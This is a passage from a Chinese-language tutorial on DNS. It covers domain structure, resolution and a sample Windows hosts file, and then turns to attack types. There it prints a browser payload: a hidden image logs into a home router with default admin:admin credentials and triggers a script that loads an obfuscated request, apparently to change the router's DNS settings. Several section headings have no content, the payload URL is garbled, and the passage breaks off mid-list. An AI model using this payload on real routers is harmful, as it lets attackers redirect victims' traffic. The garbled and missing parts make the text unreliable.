DNS 是域名系统 (Domain Name System) 的缩写,是因特网的一项核心服务,它作为可以将域名和IP地址相互映射的一个分布式数据库,能够使人更方便的访问互联网,而不用去记住能够被机器直接读取的IP数串。
DNS 域名结构
通常 Internet 主机域名的一般结构为:主机名.三级域名.二级域名.顶级域名。 Internet 的顶级域名由 Internet网络协会域名注册查询负责网络地址分配的委员会进行登记和管理,它还为 Internet的每一台主机分配唯一的 IP 地址。全世界现有三个大的网络信息中心: 位于美国的 Inter-NIC,负责美国及其他地区; 位于荷兰的RIPE-NIC,负责欧洲地区;位于日本的APNIC ,负责亚太地区。
DNS查询报文
DNS应答报文
DNS 的解析流程
全世界有很多的域名需要解析,这些不可能都在一台服务器上解析,那就太慢了。dns解析采用了树形结构的解析流程。
在上面的解析流程的前面其实还有一步的,系统在发出dns解析之前会先看看本地是否保存了相关域名的解析,如果有的话会节省会多的时间。该文件保存在C:\Windows\System32\drivers\etc\hosts,文件保存了本地dns解析的相关内容,如下:
# Copyright (c) 1993-2009 Microsoft Corp.
#
# This is a sample HOSTS file used by Microsoft TCP/IP for Windows.
#
# This file contains the mappings of IP addresses to host names. Each
# entry should be kept on an individual line. The IP address should
# be placed in the first column followed by the corresponding host name.
# The IP address and the host name should be separated by at least one
# space.
#
# Additionally, comments (such as these) may be inserted on individual
# lines or following the machine name denoted by a '#' symbol.
#
# For example:
#
# 102.54.94.97 rhino.acme.com # source server
# 38.25.63.10 x.acme.com # x client host
# localhost name resolution is handled within DNS itself.
# 127.0.0.1 localhost
# ::1 localhost
二 DNS相关的攻击类型
<script>
function dns(){
alert('I have changed your dns on my domain!')
i = new Image;
i.src='d6bK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8U0p5&6x3W2)9J5k6e0p5$3z5q4)9J5k6e0q4Q4x3X3f1I4i4K6u0r3N6i4y4W2M7W2u0H3L8g2)9J5c8V1I4S2L8V1c8Z5j5%4m8e0k6i4u0$3k6i4u0d9M7r3#2Q4x3X3g2Z5N6r3#2Q4x3@1k6V1K9r3y4H3M7$3g2J5N6X3g2J5i4K6y4p5x3g2)9J5y4X3W2H3x3g2)9K6c8o6p5&6x3W2)9J5k6e0p5$3z5q4)9J5k6e0q4Q4x3X3f1I4x3o6m8Q4x3U0k6A6M7o6u0Q4x3@1b7I4z5e0u0Q4x3X3f1I4y4U0S2Q4x3X3f1I4i4K6u0W2x3e0V1&6i4K6t1$3e0r3g2S2M7$3g2Q4x3@1b7I4x3U0m8Q4x3U0k6Y4j5i4c8W2N6$3q4&6i4K6y4p5x3q4)9J5k6e0m8Q4x3X3f1H3i4K6u0W2x3q4)9J5y4X3c8G2L8h3q4A6L8W2)9K6c8q4)9J5y4X3c8F1M7%4y4W2M7Y4k6W2M7W2)9K6c8o6S2Q4x3X3f1^5i4K6u0W2z5q4)9J5k6e0S2Q4x3U0k6V1L8Y4y4K6k6i4u0$3k6i4t1J5i4K6y4p5x3q4)9J5k6e0m8Q4x3X3f1H3i4K6u0W2x3q4)9J5y4W2y4S2N6X3g2Q4x3@1c8Q4x3U0g2n7x3g2)9J5y4f1p5K6i4K6u0n7i4K6t1#2b7U0c8Q4x3U0g2q4y4W2)9J5y4#2)9K6b7R3`.`.
}
</script>//修改dns
<img src="http://admin:admin@192.168.1.1/images/logo.jpg" height=1 width=1 onload=dns()>//登录
b hosts文件被修改